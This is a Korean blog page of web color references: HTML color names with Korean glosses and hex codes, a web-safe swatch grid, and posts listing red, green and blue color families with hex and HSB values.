| chocolate 갈색 | chocolate (#D2691E) | |
| orangered (#FF4500) | orangered (#FF4500) | |
| orange 붉은빛을띤누른색 | orange (#FFA500) | |
| darkorange 어두운붉은빛을띤누른색 | darkorange (#FF8C00) | |
| tan 볕에탄빛깔 | tan (#D2B48C) | |
| peachpuff 복숭아빛불기 | peachpuff (#FFDAB9) | |
| bisque 분홍빛이도는검은빛을띤누른빛 | bisque (#FFE4C4) | |
| moccasin 사슴가죽의구두 | moccasin (#FFE4B5) | |
| navajowhite 나바호족백색 | navajowhite (#FFDEAD) | |
| wheat 밀 | wheat (#F5DEB3) | |
| burlywood 튼튼한목재 | burlywood (#DEB887) | |
| darkgoldenrod 어둔운국화과의다년초 | darkgoldenrod (#B8860B) | |
| goldenrod 국화과의다년초 | goldenrod (#DAA520) | |
| gold 금빛 | gold (#FFD700) | |
| yellow 노랑 | yellow (#FFFF00) | |
| lightgoldenrodyellow 밝은국화과다년초노랑 | lightgoldenrodyellow (#FAFAD2) | |
| palegoldenrod 옅은국화과의다년초 | palegoldenrod (#EEE8AA) | |
| khaki 누른빛에엷은다색이섞인빛깔 | khaki (#F0E68C) | |
| darkkhaki 어두운누른빛에엷은다색 | darkkhaki (#BDB76B) | |
| lawngreen 잔디녹색 | lawngreen (#7CFC00) | |
| greenyellow 녹색의노랑 | greenyellow (#ADFF2F) | |
| chartreuse 연두색 | chartreuse (#7FFF00) | |
| lime 열대산의레몬비슷한과일 | lime (#00FF00) | |
| limegreen 라임녹색 | limegreen (#32CD32) | |
| yellowgreen (#9ACD32) | yellowgreen (#9ACD32) | |
| olive 물푸레나뭇과의상록교목 | olive (#808000) | |
| olivedrab 올리브엷은갈색 | olivedrab (#6B8E23) | |
| darkolivegreen 어두운올리브녹색 | darkolivegreen (#556B2F) | |
| forestgreen 숲녹색 | forestgreen (#228B22) | |
| darkgreen 어두운녹색 | darkgreen (#006400) | |
| green 녹색 | green (#008000) | |
| seagreen 바다녹색 | seagreen (#2E8B57) | |
| mediumseagreen 중간의바다녹색 | mediumseagreen (#3CB371) | |
| darkseagreen 어두운바다녹색 | darkseagreen (#8FBC8F) | |
| lightgreen 밝은녹색 | lightgreen (#90EE90) | |
| palegreen 옅은녹색 | palegreen (#98FB98) | |
| springgreen 봄녹색 | springgreen (#00FF7F) | |
| mediumspringgreen 중봄녹색 | mediumspringgreen (#00FA9A) | |
| teal 암록색을띤청색 | teal (#008080) | |
| darkcyan 어두운푸른정도 | darkcyan (#008B8B) | |
| lightseagreen 밝은바다녹색 | lightseagreen (#20B2AA) | |
| mediumaquamarine 중엷은청록색 | mediumaquamarine (#66CDAA) | |
| cadetblue 이하의파랑 | cadetblue (#5F9EA0) | |
| steelblue 철강빛파랑 | steelblue (#4682B4) | |
| aquamarine 엷은푸른빛녹색 | aquamarine (#7FFFD4) | |
| powderblue 가루파랑 | powderblue (#B0E0E6) | |
| paleturquoise 옅은푸른빛녹색 | paleturquoise (#AFEEEE) | |
| lightblue 밝은파랑 | lightblue (#ADD8E6) | |
| lightsteelblue 밝은철강빛파랑 | lightsteelblue (#B0C4DE) | |
| skyblue 하늘파랑 | skyblue (#87CEEB) | |
| lightskyblue 밝은하늘파랑 | lightskyblue (#87CEFA) | |
| mediumturquoise 중간의푸른빛녹색 | mediumturquoise (#48D1CC) | |
| turquoise 푸른빛녹색 | turquoise (#40E0D0) | |
| darkturquoise 어두운푸른빛녹색 | darkturquoise (#00CED1) | |
| aqua 엷은푸른빛녹색 | aqua (#00FFFF) | |
| cyan 푸른정도 | cyan (#00FFFF) | |
| deepskyblue 짙은하늘파랑 | deepskyblue (#00BFFF) | |
| dodgerblue 옥수수빵파랑 | dodgerblue (#1E90FF) | |
| cornflowerblue 옥수수꽃파랑 | cornflowerblue (#6495ED) | |
| royalblue 황실의파랑 | royalblue (#4169E1) | |
| blue 파랑 | blue (#0000FF) | |
| mediumblue 중간의파랑 | mediumblue (#0000CD) | |
| navy 짙은검은빛을띤남빛 | navy (#000080) | |
| darkblue 어두운파랑 | darkblue (#00008B) | |
| midnightblue 깜깜한파랑 | midnightblue (#191970) | |
| darkslateblue 어두운푸른빛회색파랑 | darkslateblue (#483D8B) | |
| slateblue 푸른빛회색파랑 | slateblue (#6A5ACD) | |
| mediumslateblue 중푸른빛회색파랑 | mediumslateblue (#7B68EE) | |
| mediumpurple 중간의자줏빛 | mediumpurple (#9370DB) | |
| darkorchid 어두운연보라색 | darkorchid (#9932CC) | |
| darkviolet 어두운제비꽃색 | darkviolet (#9400D3) | |
| blueviolet 파란제비꽃색 | blueviolet (#8A2BE2) | |
| mediumorchid 중간의연보라색 | mediumorchid (#BA55D3) | |
| plum 짙은 보라색 | plum (#DDA0DD) | |
| lavender 연한자주색 | lavender (#E6E6FA) | |
| thistle 엉겅퀴 | thistle (#D8BFD8) | |
| orchid 연보라색 | orchid (#DA70D6) | |
| violet 제비꽃색 | violet (#EE82EE) | |
| indigo 남색 | indigo (#4B0082) | |
| darkmagenta 어두운짙은분홍색 | darkmagenta (#8B008B) | |
| purple 자줏빛 | purple (#800080) | |
| mediumvioletred 중제비꽃빨강 | mediumvioletred (#C71585) | |
| deeppink 짙은연분홍색 | deeppink (#FF1493) | |
| fuchsia 붉은빛깔이나는자줏빛 | fuchsia (#FF00FF) | |
| magenta 짙은분홍색 | magenta (#FF00FF) | |
| hotpink 강렬한연분홍색 | hotpink (#FF69B4) | |
| palevioletred 옅은제비꽃빨강 | palevioletred (#DB7093) | |
| lightpink 밝은연분홍색 | lightpink (#FFB6C1) | |
| pink 연분홍색 | pink (#FFC0CB) | |
| mistyrose 짙은장미빛 | mistyrose (#FFE4E1) | |
| blanchedalmond 희어진엷은황갈색 | blanchedalmond (#FFEBCD) | |
| lightyellow 밝은노랑 | lightyellow (#FFFFE0) | |
| cornsilk 옥수수명주실 | cornsilk (#FFF8DC) | |
| antiquewhite 옛날의백색 | antiquewhite (#FAEBD7) | |
| papayawhip 열대아메리카산과수매질 | papayawhip (#FFEFD5) | |
| lemonchiffon 레몬빛가볍고얇은직물 | lemonchiffon (#FFFACD) | |
| beige 엷은갈색 | beige (#F5F5DC) | ddddd |
| linen 리넨 | linen (#FAF0E6) | |
| oldlace 낡은끈 | oldlace (#FDF5E6) | |
| lightcyan 밝은푸른정도 | lightcyan (#E0FFFF) | |
| aliceblue 엷은잿빛바탕에푸른빛 | aliceblue (#F0F8FF) | |
| whitesmoke 백색연기 | whitesmoke (#F5F5F5) | |
| lavenderblush 연한자주빛붉기 | lavenderblush (#FFF0F5) | |
| floralwhite 꽃의백색 | floralwhite (#FFFAF0) | |
| mintcream 박하크림 | mintcream (#F5FFFA) | |
| ghostwhite 허깨비백색 | ghostwhite (#F8F8FF) | |
| honeydew 식물의잎에서나는단물 | honeydew (#F0FFF0) | |
| seashell 바다조가비 | seashell (#FFF5EE) | |
| ivory 상앗빛 | ivory (#FFFFF0) | |
| azure 하늘색 | azure (#F0FFFF) | |
| snow 설백 | snow (#FFFAFA) | |
| white 백색 | white (#FFFFFF) | |
| gainsboro | gainsboro (#DCDCDC) | |
| lightgrey 밝은회색 | lightgrey (#D3D3D3) | |
| silver 은색 | silver (#C0C0C0) | |
| darkgray 어두운회색 | darkgray (#A9A9A9) | |
| lightslategray 밝은푸른빛회색 | lightslategray (#778899) | |
| slategray 푸른빛회색 | slategray (#708090) | |
| gray 회색 | gray (#808080) | |
| dimgray 칙칙한회색 | dimgray (#696969) | |
| darkslategray 어두운푸른빛회색 | darkslategray (#2F4F4F) | |
| black 검정 | black (#000000) |
[참고서적] "Web Safe Color 배색사전" (C.I.S./영진닷컴)
■ 원하는 색깔을 드래그해서 복사하십시오. | |||||||||
| #93DAFF | #98DFFF | #9DE4FF | #A2E9FF | #A7EEFF | #ACF3FF | #B0F7FF | #B4FBFF | #B9FFFF | #C0FFFF |
| #87CEFA | #91D8FA | #A5D8FA | #AFDDFA | #B9E2FA | #C3E7FA | #CDECFA | #D7F1FA | #E1F6FA | #EBFBFF |
| #00BFFF | #0AC9FF | #14D3FF | #1EDDFF | #28E7FF | #32F1FF | #3CFBFF | #46FFFF | #96FFFF | #C8FFFF |
| #00A5FF | #00AFFF | #00B9FF | #00C3FF | #00CDFF | #00D7FF | #00E1FF | #00EBFF | #00F5FF | #00FFFF |
| #1EA4FF | #28AEFF | #32B8FF | #3CC2FF | #46CCFF | #50D6FF | #5AE0FF | #6EE0FF | #6EEAFF | #78F3FF |
| #1E90FF | #289AFF | #32A4FF | #3CAEFF | #46B8FF | #50C2FF | #5ACCFF | #64D6FF | #6EE0FF | #78EAFF |
| #96A5FF | #A0AFFF | #AAB9FF | #B4C3FF | #BECDFF | #C8D7FF | #D2E1FF | #DCEBFF | #E8F5FF | #F4FFFF |
| #86A5FF | #90AFFF | #9AB9FF | #A4C3FF | #AECDFF | #B8D7FF | #CCE1FF | #E0EBFF | #EBF5FF | #F9FFFF |
| #6495ED | #6E9FED | #78A9ED | #82B3ED | #8CBDED | #96C7ED | #A0D1F7 | #AADBFF | #B4E5FF | #BEEFFF |
| #0078FF | #0A82FF | #148CFF | #1E96FF | #28A0FF | #32AAFF | #3CB4FF | #46BEFF | #50C8FF | #5AD2FF |
| #0064FF | #0A6EFF | #1478FF | #1E82FF | #288CFF | #3296FF | #3CA0FF | #46AAFF | #50B4FF | #5ABEFF |
| #0000FF | #3232FF | #5050FF | #646EFF | #6478FF | #6482FF | #648CFF | #6496FF | #64A0FF | #64AAFF |
| #4169E1 | #4B73E1 | #557DE1 | #5F87E1 | #6991E1 | #739BE1 | #7DA5E1 | #87AFEB | #91B9F5 | #9BC3FF |
| #0064CD | #0A6ECD | #1478CD | #1E82CD | #288CD2 | #3296D7 | #3CA0E1 | #46AAEB | #50B4F5 | #5ABEF5 |
| #5A5AFF | #6464FF | #6E6EFF | #7878FF | #8282FF | #8C8CFF | #A0A0FF | #B4B4FF | #C8C8FF | #D2D2FF |
| #7B68EE | #8572EE | #8F7CEE | #9986EE | #A390EE | #AD9AEE | #B7A4EE | #C1AEEE | #CBB8EE | #D5C2EE |
| #6A5ACD | #7E6ECD | #8878CD | #9282CD | #9C8CCD | #A696CD | #B0A0CD | #BAAAD7 | #C4B4E1 | #CEBEE1 |
| #0000CD | #2828CD | #4646CD | #6464CD | #6E6ED7 | #7878E1 | #8282EB | #8C8CF5 | #9696FF | #A0A0FF |
| #00008C | #14148C | #28288C | #3C3C8C | #50508C | #646496 | #7878AA | #8C8CBE | #A0A0C8 | #B4B4DC |
| #483D8B | #52478B | #5C518B | #665B8B | #70658B | #7A6F95 | #84799F | #8E83A9 | #988DB3 | #A297BD |
| #000069 | #1E3269 | #323C73 | #3C467D | #3C5087 | #3C5A91 | #46649B | #506EA5 | #5A78AF | #6482B9 |
| #3DFF92 | #47FF9C | #51FFA6 | #5BFFB0 | #65FFBA | #6FFFC4 | #79FFCE | #75FFCA | #7AFFCF | #7FFFD4 |
| #55EE94 | #5FEE9E | #69EEA8 | #73EEB2 | #7DEEBC | #87EEC6 | #91F8D0 | #9BFFDA | #A5FFE4 | #AFFFEE |
| #66CDAA | #70D2B4 | #7AD7BE | #84DCC8 | #8EE1D2 | #98EBDC | #9DF0E1 | #A2F5E6 | #A7FAEB | #ACFFEF |
| #AAEBAA | #B4F0B4 | #BEF5BE | #C8FAC8 | #D2FFD2 | #DCFFDC | #E1FFE1 | #E6FFE6 | #EBFFEB | #F0FFF0 |
| #80E12A | #8AE634 | #94EB3E | #9EF048 | #A8F552 | #B2FA5C | #BCFF66 | #C1FF6B | #C6FF70 | #CBFF75 |
| #52E252 | #5CE75C | #66EC66 | #70F170 | #7AF67A | #84FB84 | #89FB89 | #8EFB8E | #93FB93 | #98FB98 |
| #64CD3C | #6ED746 | #78E150 | #82EB5A | #8CF064 | #96F56E | #9BFA73 | #A0FA78 | #A5FA7D | #AAFA82 |
| #13C7A3 | #18CCA8 | #1DD1AD | #22D6B2 | #27DBB7 | #2CE0BC | #31E0C1 | #36E0C6 | #3BE0CB | #40E0D0 |
| #46B4B4 | #50BEBE | #5AC8C8 | #64D2D2 | #6EDCDC | #73E1E1 | #78E6E6 | #7DEBEB | #82F0F0 | #87F5F5 |
| #20B2AA | #2ABCB4 | #34C6BE | #3ED0C8 | #48DAD2 | #52E4DC | #57E9E1 | #5CEEE6 | #61F3EB | #66F8F0 |
| #5F9EA0 | #69A8AA | #73B2B4 | #7DBCBE | #87C6C8 | #91D0D2 | #96D5D7 | #9BDADC | #A0DFE1 | #A5E3E6 |
| #3CB371 | #46BD7B | #50C785 | #5AD18F | #64DB99 | #6EE5A3 | #73EAA8 | #78EFAD | #7DF4B2 | #82F9B7 |
| #2E8B57 | #389561 | #429F6B | #4CA975 | #56B37F | #60BD89 | #65C28E | #6AC793 | #6FCC98 | #74D19D |
| #228B22 | #2C952C | #369F36 | #40A940 | #4AB34A | #54BD54 | #5EC75E | #63CC63 | #68D168 | #6DD66D |
| #497649 | #538053 | #5D8A5D | #679467 | #719E71 | #7BA87B | #80AD80 | #85B285 | #8AB78A | #8FBC8F |
| #006400 | #0A6E0A | #147814 | #1E821E | #288C28 | #329632 | #3CA03C | #41A541 | #46AA46 | #4BAF4B |
| #008C8C | #0A9696 | #14A0A0 | #1EAAAA | #28B4B4 | #32BEBE | #37C3C3 | #3CC8C8 | #41CDCD | #46D2D2 |
| #008080 | #0A8A8A | #149494 | #1E9E9E | #28A8A8 | #32B2B2 | #37B7B7 | #3CBCBC | #41C1C1 | #46C6C6 |
| #FFB6C1 | #FFBBC6 | #FFC0CB | #FFC5D0 | #FFCAD5 | #FFCFDA | #FFD4DF | #FFD9E4 | #FFDEE9 | #FFE3EE |
| #FFAAAF | #FFB4B9 | #FFBEC3 | #FFC8CD | #FFD2D7 | #FFDCE1 | #FFE1E6 | #FFE6EB | #FFEBF0 | #FFF0F5 |
| #FF9E9B | #FFA8A5 | #FFB2AF | #FFBCB9 | #FFC6C3 | #FFD0CD | #FFD5D2 | #FFDAD7 | #FFDFDC | #FFE4E1 |
| #FF7A85 | #FF848F | #FF8E99 | #FF98A3 | #FFA2AD | #FFACB7 | #FFB1BC | #FFB6C1 | #FFBBC6 | #FFC0CB |
| #FF5675 | #FF607F | #FF6A89 | #FF7493 | #FF7E9D | #FF88A7 | #FF92B1 | #FF9CBB | #FFA6C5 | #FFB0CF |
| #FF82FF | #FF8CFF | #FF96FF | #FFA0FF | #FFAAFF | #FFB4FF | #FFBEFF | #FFC8FF | #FFD2FF | #FFDCFF |
| #FF7DB4 | #FF87BE | #FF91C8 | #FF9BD2 | #FFA5DC | #FFAFE6 | #FFB4EB | #FFB9F0 | #FFBEF5 | #FFC3FA |
| #FF69B4 | #FF73BE | #FF7DC8 | #FF87D2 | #FF91DC | #FF9BE6 | #FFA5F0 | #FFAAF5 | #FFAFFA | #FFB4FF |
| #FF1493 | #FF1E9D | #FF28A7 | #FF32B1 | #FF3CBB | #FF46C5 | #FF50CF | #FF5AD9 | #FF64E3 | #FF6EED |
| #DB7093 | #DB7A9D | #DB84A7 | #E08EB1 | #E598BB | #EAA2C5 | #EAB1D4 | #EFACCF | #F4BBDE | #F4B6D9 |
| #D7567F | #DC6089 | #E16A93 | #E6749D | #EB7EA7 | #F088B1 | #F592BB | #FA9CC5 | #FFA6CF | #FFB0D9 |
| #C71585 | #C71F8F | #C73399 | #C73DA3 | #CC47AD | #D151B7 | #D65BC1 | #E065CB | #EA6FD5 | #F479DF |
| #CD1039 | #CD1F48 | #CD2E57 | #CD3861 | #CD426B | #D24C75 | #D7567F | #DC6089 | #E16A93 | #E6749D |
| #B9062F | #B91A4D | #BE2457 | #C32E61 | #C8386B | #CD4275 | #D24C7F | #D75689 | #DC6093 | #E16A9D |
| #FAEB78 | #FAF082 | #FAF58C | #FAFA96 | #FAFAA0 | #FAFAAA | #FAFAB4 | #FAFABE | #FAFAD2 | #FAFAD2 |
| #FFDC3C | #FFE146 | #FFE650 | #FFEB5A | #FFF064 | #FFF56E | #FFFA78 | #FFFA82 | #FFFF8C | #FFFF96 |
| #FFC81E | #FFD228 | #FFD732 | #FFDC3C | #FFE146 | #FFE650 | #FFEB5A | #FFF064 | #FFF56E | #FFF978 |
| #FFB400 | #FFBE0A | #FFC314 | #FFC81E | #FFCD28 | #FFD232 | #FFD73C | #FFDC46 | #FFE150 | #FFE65A |
| #FDCD8C | #FDD296 | #FDD7A0 | #FDDCAA | #FDE1B4 | #FDE6BE | #FDEBC8 | #FDF5D2 | #FDF5DC | #FDF5E6 |
| #FAC87D | #FACD87 | #FAD291 | #FAD79B | #FADCA5 | #FAE1AF | #FAE6B9 | #FAEBC3 | #FAEBCD | #FAEBD7 |
| #FFA500 | #FFAF0A | #FFB914 | #FFC31E | #FFCD28 | #FFD732 | #FFDC37 | #FFE13C | #FFE641 | #FFEB46 |
| #FF9100 | #FF9B00 | #FFA500 | #FFAF00 | #FFB900 | #FFC300 | #FFC800 | #FFCD00 | #FFD200 | #FFD700 |
| #FF8200 | #FF8C0A | #FF9614 | #FFA01E | #FFAA28 | #FFB432 | #FFB937 | #FFBE3C | #FFC341 | #FFC846 |
| #FFA98F | #FFB399 | #FFBDA3 | #FFC7AD | #FFD1B7 | #FFDBC1 | #FFE0C6 | #FFE5CB | #FFEAD0 | #FFEFD5 |
| #FFA374 | #FFAD7E | #FFB788 | #FFC192 | #FFCB9C | #FFD0A1 | #FFD5A6 | #FFDAAB | #FFDFB0 | #FFE4B5 |
| #FF9473 | #FF9E7D | #FFA887 | #FFB291 | #FFBC9B | #FFC6A5 | #FFD0AF | #FFD0AF | #FFD5B4 | #FFDAB9 |
| #FF7F50 | #FF895A | #FF9364 | #FF9D6E | #FFA778 | #FFB182 | #FFBB8C | #FFC091 | #FFC596 | #FFCA9B |
| #CD853F | #CD8F49 | #D29953 | #D7A35D | #DCAD67 | #E1B771 | #E6C17B | #EBC680 | #F0CB85 | #F5D08A |
| #D2691E | #D27328 | #D27D32 | #D7873C | #DC9146 | #E19B50 | #E6A55A | #EBAA5F | #EBAF64 | #F0B469 |
| #AE5E1A | #B86824 | #C2722E | #CC7C38 | #D68642 | #E0904C | #E59551 | #EA9A56 | #EF9F5B | #F4A460 |
| #8B4513 | #8B4F1D | #8B5927 | #8B6331 | #906D3B | #957745 | #9F814F | #A48654 | #A98B59 | #AE905E |
| #FF9696 | #FFA0A0 | #FFAAAA | #FFB4B4 | #FFBEBE | #FFC8C8 | #FFD2D2 | #FFDCDC | #FFE6E6 | #FFF0F0 |
| #F08080 | #F08A8A | #F09494 | #F59E9E | #FAA8A8 | #FAB2B2 | #FAB7B7 | #FABCBC | #FAC1C1 | #FAC6C6 |
| #F56E6E | #F57878 | #F58282 | #F58C8C | #F59696 | #F5A0A0 | #F5AAAA | #FAB4B4 | #FABEBE | #FAC8C8 |
| #F06464 | #F06E6E | #F07878 | #F08282 | #F08C8C | #F09696 | #F4A0A0 | #F4AAAA | #F4B4B4 | #FEBEBE |
| #FF0000 | #FF3232 | #FF4646 | #FF5050 | #FF5A5A | #FF6464 | #FF6E6E | #FF7878 | #FF8282 | #FF8C8C |
| #EB0000 | #EB3232 | #EB4646 | #EB5050 | #EB5A5A | #EB6464 | #F06E6E | #F57878 | #FA8282 | #FA8C8C |
| #CD0000 | #CD3C3C | #CD4646 | #CD5050 | #D25A5A | #D76464 | #DC6E6E | #E17878 | #E68282 | #EB8C8C |
| #CD5C5C | #CD6666 | #CD7070 | #CD7A7A | #D28484 | #D78E8E | #DC9898 | #E6A2A2 | #EBACAC | #F0B6B6 |
| #B90000 | #B93232 | #B93C3C | #B94646 | #B95050 | #BE5A5A | #C35F5F | #C86464 | #CD6969 | #D26E6E |
| #B22222 | #B24040 | #B24A4A | #B25454 | #B75E5E | #BC6868 | #C17272 | #CB7776 | #CB7C7C | #D08180 |
| #A52A2A | #AA3E3E | #AF4848 | #B45252 | #BE5C5C | #C36666 | #CD7070 | #CD7A7A | #D28484 | #D78E8E |
| #800000 | #803232 | #853C3C | #8F4646 | #945050 | #9E5A5A | #A36464 | #AD6E6E | #B77878 | #C18282 |
| #CD853F | #CD8B45 | #CD904A | #D2954F | #D29A54 | #D79F59 | #D7A45E | #E1A963 | #E1AE68 | #E6B36D |
| #DB631F | #E56D29 | #E57733 | #EA813D | #EF8B47 | #EF904C | #F49551 | #F49A56 | #F49F5B | #F4A460 |
| #D2691E | #D27328 | #D77D32 | #D7873C | #DC9146 | #E19B50 | #E6A055 | #EBA55A | #F0AA5F | #F5AF64 |
| #A0522D | #A05C37 | #A06641 | #A5704B | #AA7A55 | #B4845F | #B98E69 | #C39873 | #CDA27D | #D7AC87 |
| #8B4513 | #8B4F1D | #8B5927 | #8B6331 | #906D3B | #9A7745 | #A4814F | #AE8B59 | #B89563 | #C29F6D |
| #DA70D6 | #DF75DB | #E47AE0 | #E97FE5 | #EE84EA | #F389EF | #F88EF4 | #FD93F9 | #FF98FE | #FF9DFF |
| #BA55D3 | #BF5AD8 | #C45FDD | #C964E2 | #CE69E7 | #D36EEC | #D873F1 | #DD78F6 | #E27DFB | #E782FF |
| #9932CC | #9E37D1 | #A33CD6 | #A841DB | #AD46E0 | #B24BE5 | #B750EA | #BC55EF | #C15AF4 | #C65FF9 |
| #9400D3 | #9905D8 | #9E0ADD | #A30FE2 | #A814E7 | #AD19EC | #B21EF1 | #B723F6 | #BC28FB | #C12DFF |
| #942894 | #9E329E | #A83CA8 | #B246B2 | #BC50BC | #C65AC6 | #D064D0 | #DA6EDA | #E478E4 | #EE82EE |
| #8c008c | #960a96 | #a014a0 | #aa1eaa | #b428b4 | #be32be | #c83cc8 | #d246d2 | #dc50dc | #e65ae6 |
| #800080 | #8a0a8a | #941494 | #9e1e9e | #a828a8 | #b232b2 | #bc3cbc | #c646c6 | #d050d0 | #da5ada |
| #834683 | #8d508d | #975a97 | #a164a1 | #ab6eab | #b578b5 | #bf82bf | #c98cc9 | #d396d3 | #dda0dd |
| #828282 | #8c8c8c | #969696 | #a0a0a0 | #aaaaaa | #b4b4b4 | #bebebe | #c8c8c8 | #d2d2d2 | #dcdcdc |
| #000000 | #282828 | #323232 | #3c3c3c | #464646 | #505050 | #5a5a5a | #646464 | #6e6e6e | #787878 |
Red 계열
2018. 7. 13. 23:23
톤 변화
| #FF0000 (0, 100, 100) | #FF3333 (0, 80, 100) | #FF6666 (0, 60, 100) | #FF9999 (0, 40, 100) | #FFCCCC (0, 20, 100) |
| #CC0000 (0, 100, 80) | #CC2828 (0, 80, 80) | #CC5151 (0, 60, 80) | #CC7A7A (0, 40, 80) | #CCA3A3 (0, 20, 80) |
| #990000 (0, 100, 60) | #991E1E (0, 80, 60) | #993D3D (0, 60, 60) | #995B5B (0, 40, 60) | #997A7A (0, 20, 60) |
| #660000 (0, 100, 40) | #661414 (0, 80, 40) | #662828 (0, 60, 40) | #663D3D (0, 40, 40) | #665151 (0, 20, 40) |
| #330000 (0, 100, 20) | #330A0A (0, 80, 20) | #331414 (0, 60, 20) | #331E1E (0, 40, 20) | #332828 (0, 20, 20) |
색상+톤 변화
| #FF0000 (0, 100, 100) | #FF0033 (348, 100, 100) | #FF0066 (336, 100, 100) | #FF0099 (324, 100, 100) | #FF00CC (312, 100, 100) |
| #FF3300 (12, 100, 100) | #FF3333 (0, 80, 100) | #FF3366 (345, 80, 100) | #FF3399 (330, 80, 100) | #FF33CC (315, 80, 100) |
| #FF6600 (24, 100, 100) | #FF6633 (15, 80, 100) | #FF6666 (0, 60, 100) | #FF6699 (340, 60, 100) | #FF66CC (320, 60, 100) |
| #FF9900 (36, 100, 100) | #FF9933 (30, 80, 100) | #FF9966 (20, 60, 100) | #FF9999 (0, 40, 100) | #FF99CC (330, 40, 100) |
| #FFCC00 (48, 100, 100) | #FFCC33 (45, 80, 100) | #FFCC66 (40, 60, 100) | #FFCC99 (30, 40, 100) | #FFCCCC (0, 20, 100) |
| #CC0000 (0, 100, 80) | #CC0033 (345, 100, 80) | #CC0066 (330, 100, 80) | #CC0099 (315, 100, 80) | |
| #CC3300 (15, 100, 80) | #CC3333 (0, 75, 80) | #CC3366 (340, 75, 80) | #CC3399 (320, 75, 80) | |
| #CC6600 (30, 100, 80) | #CC6633 (20, 75, 80) | #CC6666 (0, 50, 80) | #CC6699 (330, 50, 80) | |
| #CC9900 (45, 100, 80) | #CC9933 (40, 75, 80) | #CC9966 (30, 50, 80) | #CC9999 (0, 25, 80) |
| #990000 (0, 100, 60) | #990033 (340, 100, 60) | #990066 (320, 100, 60) | ||
| #993300 (20, 100, 60) | #993333 (0, 67, 60) | #993366 (330, 67, 60) | ||
| #996600 (40, 100, 60) | #996633 (30, 67, 60) | #996666 (0, 33, 60) |
| #660000 (0, 100, 40) | #660033 (330, 100, 40) | |||
| #663300 (30, 100, 40) | #663333 (0, 50, 40) |
| #330000 (0, 100, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| HTML에 사용되는 색이름 (0) | 2018.07.13 |
|---|---|
| Green 계열 (0) | 2018.07.13 |
| Blue 계열 (0) | 2018.07.13 |
| Yellow 계열 (0) | 2018.07.13 |
| Cyan 계열 (0) | 2018.07.13 |
Green 계열
2018. 7. 13. 23:19
톤 변화
| #00FF00 (120, 100, 100) | #33FF33 (120, 80, 100) | #66FF66 (120, 60, 100) | #99FF99 (120, 40, 100) | #CCFFCC (120, 20, 100) |
| #00CC00 (120, 100, 80) | #28CC28 (120, 80, 80) | #51CC51 (120, 60, 80) | #7ACC7A (120, 40, 80) | #A3CCA3 (120, 20, 80) |
| #009900 (120, 100, 60) | #1E991E (120, 80, 60) | #3D993D (120, 60, 60) | #5B995B (120, 40, 60) | #7A997A (120, 20, 60) |
| #006600 (120, 100, 40) | #146614 (120, 80, 40) | #286628 (120, 60, 40) | #3D663D (120, 40, 40) | #516651 (120, 20, 40) |
| #003300 (120, 100, 20) | #0A330A (120, 80, 20) | #143314 (120, 60, 20) | #1E331E (120, 40, 20) | #283328 (120, 20, 20) |
색상+톤 변화
| #00FF00 (120, 100, 100) | #00FF33 (132, 100, 100) | #00FF66 (144, 100, 100) | #00FF99 (156, 100, 100) | #00FFCC (168, 100, 100) |
| #33FF00 (108, 100, 100) | #33FF33 (120, 80, 100) | #33FF66 (135, 80, 100) | #33FF99 (150, 80, 100) | #33FFCC (165, 80, 100) |
| #66FF00 (96, 100, 100) | #66FF33 (105, 80, 100) | #66FF66 (120, 60, 100) | #66FF99 (140, 60, 100) | #66FFCC (160, 60, 100) |
| #99FF00 (84, 100, 100) | #99FF33 (90, 80, 100) | #99FF66 (100, 60, 100) | #99FF99 (120, 40, 100) | #99FFCC (150, 40, 100) |
| #CCFF00 (72, 100, 100) | #CCFF33 (75, 80, 100) | #CCFF66 (80, 60, 100) | #CCFF99 (90, 40, 100) | #CCFFCC (120, 20, 100) |
| #00CC00 (120, 100, 80) | #00CC33 (135, 100, 80) | #00CC66 (150, 100, 80) | #00CC99 (165, 100, 80) | |
| #33CC00 (105, 100, 80) | #33CC33 (120, 75, 80) | #33CC66 (140, 75, 80) | #33CC99 (160, 75, 80) | |
| #66CC00 (90, 100, 80) | #66CC33 (100, 75, 80) | #66CC66 (120, 50, 80) | #66CC99 (150, 50, 80) | |
| #99CC00 (75, 100, 80) | #99CC33 (80, 75, 80) | #99CC66 (90, 50, 80) | #99CC99 (120, 25, 80) |
| #009900 (120, 100, 60) | #009933 (140, 100, 60) | #009966 (160, 100, 60) | ||
| #339900 (100, 100, 60) | #339933 (120, 67, 60) | #339966 (150, 67, 60) | ||
| #669900 (80, 100, 60) | #669933 (90, 67, 60) | #669966 (120, 33, 60) |
| #006600 (120, 100, 40) | #006633 (150, 100, 40) | |||
| #336600 (90, 100, 40) | #336633 (120, 50, 40) |
| #003300 (120, 100, 20) |
'컬러 > 웹컬러(Web Color)' 카테고리의 다른 글
| HTML에 사용되는 색이름 (0) | 2018.07.13 |
|---|---|
| Red 계열 (0) | 2018.07.13 |
| Blue 계열 (0) | 2018.07.13 |
| Yellow 계열 (0) | 2018.07.13 |
| Cyan 계열 (0) | 2018.07.13 |
Blue 계열
2018. 7. 13. 23:15
톤 변화
| #0000FF (240, 100, 100) | #3333FF (240, 80, 100) | #6666FF (240, 60, 100) | #9999FF (240, 40, 100) | #CCCCFF (240, 20, 100) |
| #0000CC (240, 100, 80) | #2828CC (240, 80, 80) | #5151CC (240, 60, 80) | #7A7ACC (240, 40, 80) | #A3A3CC (240, 20, 80) |
| #000099 (240, 100, 60) | #1E1E99 (240, 80, 60) | #3D3D99 (240, 60, 60) | #5B5B99 (240, 40, 60) | #7A7A99 (240, 20, 60) |
| #000066 (240, 100, 40) | #141466 (240, 80, 40) | #282866 (240, 60, 40) | #3D3D66 (240, 40, 40) | #515166 (240, 20, 40) |
| #000033 (240, 100, 20) | #0A0A33 (240, 80, 20) | #141433 (240, 60, 20) | #1E1E33 (240, 40, 20) | #282833 (240, 20, 20) |
색상+톤 변화
| #0000FF (240, 100, 100) | #0033FF (228, 100, 100) | #0066FF (216, 100, 100) | #0099FF (204, 100, 100) | #00CCFF (192, 100, 100) |
| #3300FF (252, 100, 100) | #3333FF (240, 80, 100) | #3366FF (225, 80, 100) | #3399FF (210, 80, 100) | #33CCFF (195, 80, 100) |
| #6600FF (264, 100, 100) | #6633FF (255, 80, 100) | #6666FF (240, 60, 100) | #6699FF (220, 60, 100) | #66CCFF (200, 60, 100) |
| #9900FF (276, 100, 100) | #9933FF (270, 80, 100) | #9966FF (260, 60, 100) | #9999FF (240, 40, 100) | #99CCFF (210, 40, 100) |
| #CC00FF (288, 100, 100) | #CC33FF (285, 80, 100) | #CC66FF (280, 60, 100) | #CC99FF (270, 40, 100) | #CCCCFF (240, 20, 100) |
